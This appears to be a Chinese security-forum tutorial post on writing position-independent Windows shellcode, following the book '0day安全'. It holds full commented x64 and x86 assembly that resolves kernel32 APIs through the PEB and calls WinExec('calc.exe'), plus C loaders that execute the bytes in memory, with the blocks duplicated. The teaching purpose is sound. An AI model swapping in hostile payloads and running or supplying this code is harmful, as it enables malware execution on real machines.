-
-
[原创]通用shellcode开发原理与实践
-
发表于: 2023-4-5 16:57 19375
-
学习来源:0day安全一书
shellcode
即一段植入进程的代码。
在实际漏洞利用过程中,由于动态链接库的装入和卸载等原因,Windows进程的函数栈帧很有可能会产生”位移“,即shellcode在内存中的地址是动态变化的。因此我们需要找到一个跳板,使得程序的执行流程总是能找到我们的shellcode。
在上一节中verify_password函数返回后栈中的情况如下所示:
图一 栈帧位移示意图
图二 溢出发生时栈、寄存器与代码之间的关系
一般情况下,ESP
寄存器中的地址总是指向系统栈中且不会被溢出的数据破坏。函数返回时,ESP
所指的位置恰好是我们所淹没的返回地址的下一个位置,如图三。
图三 使用"跳板"的溢出利用流程
由于ESP
寄存器在函数返回后不被溢出数据干扰,且始终指向返回地址之后的位置,我们就可以使用图三所示的这种定位shellcode的方法来进行动态定位。
这种定位shellcode的方法使用进程空间里的一条 jmp esp
指令作为"跳板",无论栈帧怎么"位移",都能精确地跳回栈区,从而适应程序运行中shellcode内存地址的动态变化。
当然这只是一种定位shellcode的方式,还有其他许多种定位shellcode的方式
通过手工查出来的API地址会在其他计算机上失效,在shellcode中使用静态函数地址来调用API会使exploit的额通用性收到很大的限制,所以,实际中使用的shellcode必须还要能动态地获得自身所需的API的函数地址。
Windows的API是通过动态链接库中的导出函数来实现的,例如,内存操作等函数在kernel32.dll
中实现;大量的图形界面相关的API则在user32.dll
中实现。Win32平台下的shellcode使用最广泛的方法,就是通过从进程环境块中找到动态链接库的导出表,并搜索出所需的API地址,然后逐一调用。
几乎所有Win32程序都会加载ntdll.dll
和kernel32.dll
这两个基础的动态链接库。如果想要在win_32平台下定位kernel32.dll
中的API地址,可以采取如下办法。
64位系统
32位系统
图四 在shellcode中动态定位API的原理
x64 弹出计算器shellcode
x86 弹出计算器shellcode
如下所示:
通常情况下,我们会对所需的API
函数名进行hash
运算,在搜索导出表时对当前遇到的函数名也进行同样的hash
,这样只要比较hash
所得的摘要(digest
)就能判定是不是我们所需的API
了。虽然这种搜索方法需要引入额外的hash
算法,但是可以节省出存储函数名字符串的代码。
注意:
这里提供一段简单的 "hash" 算法
源码
编译成功之后,程序正常运行
将程序拖入OD
,按F9
进入程序模块,如图所示:
然后从第一行开始,下拉到空白区选中 右键 复制 二进制复制。然后再在010editor中粘贴自 从十六进制文本粘贴。如下图:
选中然后复制为c代码
这样就得到了我们的shellcode
在程序中运行我们的shellcode。
成功运行,如下所示:
漏洞研究小白,目前正在跟着书学习。希望自己能持之以恒。大家一起共勉
操作系统: Windows
10
x64
编译器: vs
2019
操作系统: Windows
10
x64
编译器: vs
2019
/
*
; Get kernel32.dll base address
xor rdi, rdi ; RDI
=
0x0
mul rdi ; RAX&RDX
=
0x0
mov rbx, gs:[rax
+
0x60
] ; RBX
=
Address_of_PEB
mov rbx, [rbx
+
0x18
] ; RBX
=
Address_of_LDR
mov rbx, [rbx
+
0x20
] ; RBX
=
1st
entry
in
InitOrderModuleList
/
ntdll.dll
mov rbx, [rbx] ; RBX
=
2nd
entry
in
InitOrderModuleList
/
kernelbase.dll
mov rbx, [rbx] ; RBX
=
3rd
entry
in
InitOrderModuleList
/
kernel32.dll
mov rbx, [rbx
+
0x20
] ; RBX
=
&kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx ; RBX & R8
=
&kernel32.dll
; Get kernel32.dll ExportTable Address
mov ebx, [rbx
+
0x3C
] ; RBX
=
Offset NewEXEHeader
add rbx, r8 ; RBX
=
&kernel32.dll
+
Offset NewEXEHeader
=
&NewEXEHeader
xor rcx, rcx ; Avoid null bytes
from
mov edx,[rbx
+
0x88
] by using rcx register to add
add cx,
0x88ff
shr rcx,
0x8
; RCX
=
0x88ff
-
-
>
0x88
mov edx, [rbx
+
rcx] ; EDX
=
[&NewEXEHeader
+
Offset RVA ExportTable]
=
RVA ExportTable
add rdx, r8 ; RDX
=
&kernel32.dll
+
RVA ExportTable
=
&ExportTable
; Get &AddressTable
from
Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx
+
0x1C
] ; RDI
=
RVA AddressTable
add r10, r8 ; R10
=
&AddressTable
; Get &NamePointerTable
from
Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx
+
0x20
] ; R11
=
[&ExportTable
+
Offset RVA Name PointerTable]
=
RVA NamePointerTable
add r11, r8 ; R11
=
&NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
; Get &OrdinalTable
from
Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx
+
0x24
] ; R12
=
RVA OrdinalTable
add r12, r8 ; R12
=
&OrdinalTable
jmp short apis
; Get the address of the API
from
the Kernel32.dll ExportTable
getapiaddr:
pop rbx ; save the
return
address
for
ret
2
caller after API address
is
found
pop rcx ; Get the string length counter
from
stack
xor rax, rax ; Setup Counter
for
resolving the API Address after finding the name string
mov rdx, rsp ; RDX
=
Address of API Name String to match on the Stack
push rcx ; push the string length counter to stack
loop:
mov rcx, [rsp] ; reset the string length counter
from
the stack
xor rdi,rdi ; Clear RDI
for
setting up string name retrieval
mov edi, [r11
+
rax
*
4
] ; EDI
=
RVA NameString
=
[&NamePointerTable
+
(Counter
*
4
)]
add rdi, r8 ; RDI
=
&NameString
=
RVA NameString
+
&kernel32.dll
mov rsi, rdx ; RSI
=
Address of API Name String to match on the Stack (reset to start of string)
repe cmpsb ; Compare strings at RDI & RSI
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
incloop:
inc rax
jmp short loop
; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx ; remove string length counter
from
top of stack
mov ax, [r12
+
rax
*
2
] ; RAX
=
[&OrdinalTable
+
(Counter
*
2
)]
=
ordinalNumber of kernel32.<API>
mov eax, [r10
+
rax
*
4
] ; RAX
=
RVA API
=
[&AddressTable
+
API OrdinalNumber]
add rax, r8 ; RAX
=
Kernel32.<API>
=
RVA kernel32.<API>
+
kernel32.dll BaseAddress
push rbx ; place the
return
address
from
the api string call back on the top of the stack
ret ;
return
to API caller
apis: ; API Names to resolve addresses
; WinExec | String length :
7
xor rcx, rcx
add cl,
0x7
; String length
for
compare string
mov rax,
0x9C9A87BA9196A80F
;
not
0x9C9A87BA9196A80F
=
0xF0
,WinExec
not
rax ;mov rax,
0x636578456e6957F0
; cexEniW,
0xF0
:
636578456e6957F0
-
Did Not to avoid WinExec returning
from
strings static analysis
shr rax,
0x8
; xEcoll,
0xFFFF
-
-
>
0x0000
,xEcoll
push rax
push rcx ; push the string length counter to stack
call getapiaddr ; Get the address of the API
from
Kernel32.dll ExportTable
mov r14, rax ; R14
=
Kernel32.WinExec Address
; UINT WinExec(
; LPCSTR lpCmdLine,
=
> RCX
=
"calc.exe"
,
0x0
; UINT uCmdShow
=
> RDX
=
0x1
=
SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx ; RAX & RDX & RCX
=
0x0
; calc.exe | String length :
8
push rax ; Null terminate string on stack
mov rax,
0x9A879AD19C939E9C
;
not
0x9A879AD19C939E9C
=
"calc.exe"
not
rax
;mov rax,
0x6578652e636c6163
; exe.clac :
6578652e636c6163
push rax ; RSP
=
"calc.exe"
,
0x0
mov rcx, rsp ; RCX
=
"calc.exe"
,
0x0
inc rdx ; RDX
=
0x1
=
SW_SHOWNORMAL
sub rsp,
0x20
; WinExec clobbers first
0x20
bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14 ; Call WinExec(
"calc.exe"
, SW_HIDE)
*
/
#include <windows.h>
void main() {
void
*
exec
;
BOOL
rv;
HANDLE th;
DWORD oldprotect
=
0
;
/
/
Shellcode
unsigned char payload[]
=
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6"
;
unsigned
int
payload_len
=
205
;
exec
=
VirtualAlloc(
0
, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(
exec
, payload, payload_len);
rv
=
VirtualProtect(
exec
, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th
=
CreateThread(
0
,
0
, (LPTHREAD_START_ROUTINE)
exec
,
0
,
0
,
0
);
WaitForSingleObject(th,
-
1
);
}
/
*
; Get kernel32.dll base address
xor rdi, rdi ; RDI
=
0x0
mul rdi ; RAX&RDX
=
0x0
mov rbx, gs:[rax
+
0x60
] ; RBX
=
Address_of_PEB
mov rbx, [rbx
+
0x18
] ; RBX
=
Address_of_LDR
mov rbx, [rbx
+
0x20
] ; RBX
=
1st
entry
in
InitOrderModuleList
/
ntdll.dll
mov rbx, [rbx] ; RBX
=
2nd
entry
in
InitOrderModuleList
/
kernelbase.dll
mov rbx, [rbx] ; RBX
=
3rd
entry
in
InitOrderModuleList
/
kernel32.dll
mov rbx, [rbx
+
0x20
] ; RBX
=
&kernel32.dll ( Base Address of kernel32.dll)
mov r8, rbx ; RBX & R8
=
&kernel32.dll
; Get kernel32.dll ExportTable Address
mov ebx, [rbx
+
0x3C
] ; RBX
=
Offset NewEXEHeader
add rbx, r8 ; RBX
=
&kernel32.dll
+
Offset NewEXEHeader
=
&NewEXEHeader
xor rcx, rcx ; Avoid null bytes
from
mov edx,[rbx
+
0x88
] by using rcx register to add
add cx,
0x88ff
shr rcx,
0x8
; RCX
=
0x88ff
-
-
>
0x88
mov edx, [rbx
+
rcx] ; EDX
=
[&NewEXEHeader
+
Offset RVA ExportTable]
=
RVA ExportTable
add rdx, r8 ; RDX
=
&kernel32.dll
+
RVA ExportTable
=
&ExportTable
; Get &AddressTable
from
Kernel32.dll ExportTable
xor r10, r10
mov r10d, [rdx
+
0x1C
] ; RDI
=
RVA AddressTable
add r10, r8 ; R10
=
&AddressTable
; Get &NamePointerTable
from
Kernel32.dll ExportTable
xor r11, r11
mov r11d, [rdx
+
0x20
] ; R11
=
[&ExportTable
+
Offset RVA Name PointerTable]
=
RVA NamePointerTable
add r11, r8 ; R11
=
&NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
; Get &OrdinalTable
from
Kernel32.dll ExportTable
xor r12, r12
mov r12d, [rdx
+
0x24
] ; R12
=
RVA OrdinalTable
add r12, r8 ; R12
=
&OrdinalTable
jmp short apis
; Get the address of the API
from
the Kernel32.dll ExportTable
getapiaddr:
pop rbx ; save the
return
address
for
ret
2
caller after API address
is
found
pop rcx ; Get the string length counter
from
stack
xor rax, rax ; Setup Counter
for
resolving the API Address after finding the name string
mov rdx, rsp ; RDX
=
Address of API Name String to match on the Stack
push rcx ; push the string length counter to stack
loop:
mov rcx, [rsp] ; reset the string length counter
from
the stack
xor rdi,rdi ; Clear RDI
for
setting up string name retrieval
mov edi, [r11
+
rax
*
4
] ; EDI
=
RVA NameString
=
[&NamePointerTable
+
(Counter
*
4
)]
add rdi, r8 ; RDI
=
&NameString
=
RVA NameString
+
&kernel32.dll
mov rsi, rdx ; RSI
=
Address of API Name String to match on the Stack (reset to start of string)
repe cmpsb ; Compare strings at RDI & RSI
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
incloop:
inc rax
jmp short loop
; Find the address of GetProcAddress by using the last value of the Counter
resolveaddr:
pop rcx ; remove string length counter
from
top of stack
mov ax, [r12
+
rax
*
2
] ; RAX
=
[&OrdinalTable
+
(Counter
*
2
)]
=
ordinalNumber of kernel32.<API>
mov eax, [r10
+
rax
*
4
] ; RAX
=
RVA API
=
[&AddressTable
+
API OrdinalNumber]
add rax, r8 ; RAX
=
Kernel32.<API>
=
RVA kernel32.<API>
+
kernel32.dll BaseAddress
push rbx ; place the
return
address
from
the api string call back on the top of the stack
ret ;
return
to API caller
apis: ; API Names to resolve addresses
; WinExec | String length :
7
xor rcx, rcx
add cl,
0x7
; String length
for
compare string
mov rax,
0x9C9A87BA9196A80F
;
not
0x9C9A87BA9196A80F
=
0xF0
,WinExec
not
rax ;mov rax,
0x636578456e6957F0
; cexEniW,
0xF0
:
636578456e6957F0
-
Did Not to avoid WinExec returning
from
strings static analysis
shr rax,
0x8
; xEcoll,
0xFFFF
-
-
>
0x0000
,xEcoll
push rax
push rcx ; push the string length counter to stack
call getapiaddr ; Get the address of the API
from
Kernel32.dll ExportTable
mov r14, rax ; R14
=
Kernel32.WinExec Address
; UINT WinExec(
; LPCSTR lpCmdLine,
=
> RCX
=
"calc.exe"
,
0x0
; UINT uCmdShow
=
> RDX
=
0x1
=
SW_SHOWNORMAL
; );
xor rcx, rcx
mul rcx ; RAX & RDX & RCX
=
0x0
; calc.exe | String length :
8
push rax ; Null terminate string on stack
mov rax,
0x9A879AD19C939E9C
;
not
0x9A879AD19C939E9C
=
"calc.exe"
not
rax
;mov rax,
0x6578652e636c6163
; exe.clac :
6578652e636c6163
push rax ; RSP
=
"calc.exe"
,
0x0
mov rcx, rsp ; RCX
=
"calc.exe"
,
0x0
inc rdx ; RDX
=
0x1
=
SW_SHOWNORMAL
sub rsp,
0x20
; WinExec clobbers first
0x20
bytes of stack (Overwrites our command string when proxied to CreatProcessA)
call r14 ; Call WinExec(
"calc.exe"
, SW_HIDE)
*
/
#include <windows.h>
void main() {
void
*
exec
;
BOOL
rv;
HANDLE th;
DWORD oldprotect
=
0
;
/
/
Shellcode
unsigned char payload[]
=
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6"
;
unsigned
int
payload_len
=
205
;
exec
=
VirtualAlloc(
0
, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(
exec
, payload, payload_len);
rv
=
VirtualProtect(
exec
, payload_len, PAGE_EXECUTE_READ, &oldprotect);
th
=
CreateThread(
0
,
0
, (LPTHREAD_START_ROUTINE)
exec
,
0
,
0
,
0
);
WaitForSingleObject(th,
-
1
);
}
/
*
start:
mov ebp, esp ; prologue
add esp,
0xfffff9f0
; Add space
int
ESP to avoid clobbering
find_kernel32:
xor ecx, ecx ; ECX
=
0
mov esi,fs:[ecx
+
0x30
] ; ESI
=
&(PEB) ([FS:
0x30
])
mov esi,[esi
+
0x0C
] ; ESI
=
PEB
-
>Ldr
mov esi,[esi
+
0x1C
] ; ESI
=
PEB
-
>Ldr.InInitOrder
next_module:
mov ebx, [esi
+
0x08
] ; EBX
=
InInitOrder[X].base_address
mov edi, [esi
+
0x20
] ; EDI
=
InInitOrder[X].module_name
mov esi, [esi] ; ESI
=
InInitOrder[X].flink (
next
)
cmp
[edi
+
12
*
2
], cx ; (
unicode
) modulename[
12
]
=
=
0x00
?
jne next_module ; No:
try
next
module
find_function_shorten:
jmp find_function_shorten_bnc ; Short jump
find_function_ret:
pop esi ; POP the
return
address
from
the stack
mov [ebp
+
0x04
], esi ; Save find_function address
for
later usage
jmp resolve_symbols_kernel32 ;
find_function_shorten_bnc:
call find_function_ret ; Relative CALL with negative offset
find_function:
pushad ; Save
all
registers
mov eax, [ebx
+
0x3c
] ; Offset to PE Signature
mov edi, [ebx
+
eax
+
0x78
] ; Export Table Directory RVA
add edi, ebx ; Export Table Directory VMA
mov ecx, [edi
+
0x18
] ; NumberOfNames
mov eax, [edi
+
0x20
] ; AddressOfNames RVA
add eax, ebx ; AddressOfNames VMA
mov [ebp
-
4
], eax ; Save AddressOfNames VMA
for
later
find_function_loop:
jecxz find_function_finished ; Jump to the end
if
ECX
is
0
dec ecx ; Decrement our names counter
mov eax, [ebp
-
4
] ; Restore AddressOfNames VMA
mov esi, [eax
+
ecx
*
4
] ; Get the RVA of the symbol name
add esi, ebx ;
Set
ESI to the VMA of the current symbol name
compute_hash:
xor eax, eax ; NULL EAX
cdq ; NULL EDX
cld ; Clear direction
compute_hash_again:
lodsb ; Load the
next
byte
from
esi into al
test al, al ; Check
for
NULL terminator
jz compute_hash_finished ; If the ZF
is
set
, we've hit the NULL term
ror edx,
0x0d
; Rotate edx
13
bits to the right
add edx, eax ; Add the new byte to the accumulator
jmp compute_hash_again ;
Next
iteration
compute_hash_finished:
find_function_compare:
cmp
edx, [esp
+
0x24
] ; Compare the computed
hash
with the requested
hash
jnz find_function_loop ; If it doesn't match go back to find_function_loop
mov edx, [edi
+
0x24
] ; AddressOfNameOrdinals RVA
add edx, ebx ; AddressOfNameOrdinals VMA
mov cx, [edx
+
2
*
ecx] ; Extrapolate the function's ordinal
mov edx, [edi
+
0x1c
] ; AddressOfFunctions RVA
add edx, ebx ; AddressOfFunctions VMA
mov eax, [edx
+
4
*
ecx] ; Get the function RVA
add eax, ebx ; Get the function VMA
mov [esp
+
0x1c
], eax ; Overwrite stack version of eax
from
pushad
find_function_finished:
popad ; Restore registers
ret ;
resolve_symbols_kernel32:
push
0xe8afe98
; WinExec
hash
call dword ptr [ebp
+
0x04
] ; Call find_function
mov [ebp
+
0x10
], eax ; Save WinExec address
for
later usage
push
0x78b5b983
; TerminateProcess
hash
call dword ptr [ebp
+
0x04
] ; Call find_function
mov [ebp
+
0x14
], eax ; Save TerminateProcess address
for
later usage
create_calc_string:
xor eax, eax ; EAX
=
null
push eax ; Push null
-
terminated string
push dword
0x6578652e
;
push dword
0x636c6163
;
push esp ; ESP
=
&(lpCmdLine)
pop ebx ; EBX save pointer to string
; UINT WinExec(
; LPCSTR lpCmdLine,
-
> EBX
; UINT uCmdShow
-
> EAX
; );
call_winexec:
xor eax, eax ; EAX
=
null
push eax ; uCmdShow
push ebx ; lpCmdLine
call dword ptr [ebp
+
0x10
] ; Call WinExec
;
BOOL
TerminateProcess(
; HANDLE hProcess,
-
>
0xffffffff
; UINT uExitCode
-
> EAX
; );
terminate_process:
xor eax, eax ; EAX
=
null
push eax ; uExitCode
push
0xffffffff
; hProcess
call dword ptr [ebp
+
0x14
] ; Call TerminateProcess
*
/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/
/
Our WinExec PopCalc shellcode
unsigned char payload[]
=
"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e"
"\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43"
"\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b"
"\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75"
"\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61"
"\xc3\x68\x98\xfe\x8a\x0e\xff\x55\x04\x89\x45\x10\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x14\x31\xc0"
"\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x54\x5b\x31\xc0\x50\x53\xff\x55\x10\x31\xc0\x50\x6a\xff"
"\xff\x55\x14"
;
unsigned
int
payload_len
=
178
;
int
main(void) {
void
*
exec_mem;
BOOL
rv;
HANDLE th;
DWORD oldprotect
=
0
;
/
/
Allocate a memory
buffer
for
payload
exec_mem
=
VirtualAlloc(
0
, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
/
/
Copy payload to new
buffer
RtlMoveMemory(exec_mem, payload, payload_len);
/
/
Make new
buffer
as executable
rv
=
VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
printf(
"\nHit me!\n"
);
printf(
"Shellcode Length: %d\n"
, strlen(payload));
getchar();
/
/
If
all
good, run the payload
if
( rv !
=
0
) {
th
=
CreateThread(
0
,
0
, (LPTHREAD_START_ROUTINE) exec_mem,
0
,
0
,
0
);
WaitForSingleObject(th,
-
1
);
}
return
0
;
}
/
*
start:
mov ebp, esp ; prologue
add esp,
0xfffff9f0
; Add space
int
ESP to avoid clobbering
find_kernel32:
xor ecx, ecx ; ECX
=
0
mov esi,fs:[ecx
+
0x30
] ; ESI
=
&(PEB) ([FS:
0x30
])
mov esi,[esi
+
0x0C
] ; ESI
=
PEB
-
>Ldr
mov esi,[esi
+
0x1C
] ; ESI
=
PEB
-
>Ldr.InInitOrder
next_module:
mov ebx, [esi
+
0x08
] ; EBX
=
InInitOrder[X].base_address
mov edi, [esi
+
0x20
] ; EDI
=
InInitOrder[X].module_name
mov esi, [esi] ; ESI
=
InInitOrder[X].flink (
next
)
cmp
[edi
+
12
*
2
], cx ; (
unicode
) modulename[
12
]
=
=
0x00
?
jne next_module ; No:
try
next
module
find_function_shorten:
jmp find_function_shorten_bnc ; Short jump
find_function_ret:
pop esi ; POP the
return
address
from
the stack
mov [ebp
+
0x04
], esi ; Save find_function address
for
later usage
jmp resolve_symbols_kernel32 ;
find_function_shorten_bnc:
call find_function_ret ; Relative CALL with negative offset
find_function:
pushad ; Save
all
registers
mov eax, [ebx
+
0x3c
] ; Offset to PE Signature
mov edi, [ebx
+
eax
+
0x78
] ; Export Table Directory RVA
add edi, ebx ; Export Table Directory VMA
mov ecx, [edi
+
0x18
] ; NumberOfNames
mov eax, [edi
+
0x20
] ; AddressOfNames RVA
add eax, ebx ; AddressOfNames VMA
mov [ebp
-
4
], eax ; Save AddressOfNames VMA
for
later
find_function_loop:
jecxz find_function_finished ; Jump to the end
if
ECX
is
0
dec ecx ; Decrement our names counter
mov eax, [ebp
-
4
] ; Restore AddressOfNames VMA
mov esi, [eax
+
ecx
*
4
] ; Get the RVA of the symbol name
add esi, ebx ;
Set
ESI to the VMA of the current symbol name
compute_hash:
xor eax, eax ; NULL EAX
cdq ; NULL EDX
cld ; Clear direction
compute_hash_again:
lodsb ; Load the
next
byte
from
esi into al
test al, al ; Check
for
NULL terminator
jz compute_hash_finished ; If the ZF
is
set
, we've hit the NULL term
ror edx,
0x0d
; Rotate edx
13
bits to the right
add edx, eax ; Add the new byte to the accumulator
jmp compute_hash_again ;
Next
iteration
compute_hash_finished:
find_function_compare:
cmp
edx, [esp
+
0x24
] ; Compare the computed
hash
with the requested
hash
jnz find_function_loop ; If it doesn't match go back to find_function_loop
mov edx, [edi
+
0x24
] ; AddressOfNameOrdinals RVA
add edx, ebx ; AddressOfNameOrdinals VMA
mov cx, [edx
+
2
*
ecx] ; Extrapolate the function's ordinal
mov edx, [edi
+
0x1c
] ; AddressOfFunctions RVA
add edx, ebx ; AddressOfFunctions VMA
mov eax, [edx
+
4
*
ecx] ; Get the function RVA
add eax, ebx ; Get the function VMA
mov [esp
+
0x1c
], eax ; Overwrite stack version of eax
from
pushad
find_function_finished:
popad ; Restore registers
ret ;
resolve_symbols_kernel32:
push
0xe8afe98
; WinExec
hash
call dword ptr [ebp
+
0x04
] ; Call find_function
mov [ebp
+
0x10
], eax ; Save WinExec address
for
later usage
push
0x78b5b983
; TerminateProcess
hash
call dword ptr [ebp
+
0x04
] ; Call find_function
mov [ebp
+
0x14
], eax ; Save TerminateProcess address
for
later usage
create_calc_string:
xor eax, eax ; EAX
=
null
push eax ; Push null
-
terminated string
push dword
0x6578652e
;
push dword
0x636c6163
;
push esp ; ESP
=
&(lpCmdLine)
pop ebx ; EBX save pointer to string
; UINT WinExec(
; LPCSTR lpCmdLine,
-
> EBX
; UINT uCmdShow
-
> EAX
; );
call_winexec:
xor eax, eax ; EAX
=
null
push eax ; uCmdShow
push ebx ; lpCmdLine
call dword ptr [ebp
+
0x10
] ; Call WinExec
;
BOOL
TerminateProcess(
; HANDLE hProcess,
-
>
0xffffffff
; UINT uExitCode
-
> EAX
; );
terminate_process:
xor eax, eax ; EAX
=
null
push eax ; uExitCode
push
0xffffffff
; hProcess
call dword ptr [ebp
+
0x14
] ; Call TerminateProcess
*
/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/
/
Our WinExec PopCalc shellcode
unsigned char payload[]
=
"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e"
"\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43"
"\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b"
"\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75"
"\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61"
"\xc3\x68\x98\xfe\x8a\x0e\xff\x55\x04\x89\x45\x10\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x14\x31\xc0"
"\x50\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x54\x5b\x31\xc0\x50\x53\xff\x55\x10\x31\xc0\x50\x6a\xff"
"\xff\x55\x14"
;
unsigned
int
payload_len
=
178
;
int
main(void) {
void
*
exec_mem;
赞赏
- [原创]基础堆溢出原理与DWORD SHOOT实现 16464
- [求助]求助各位大佬,windows安全机制有哪些? 11454
- [原创]通用shellcode开发原理与实践 19376
- [原创]基础 栈溢出手工代码注入 12724
- [分享]IAT钩取 之 让计算器显示中文数字 6833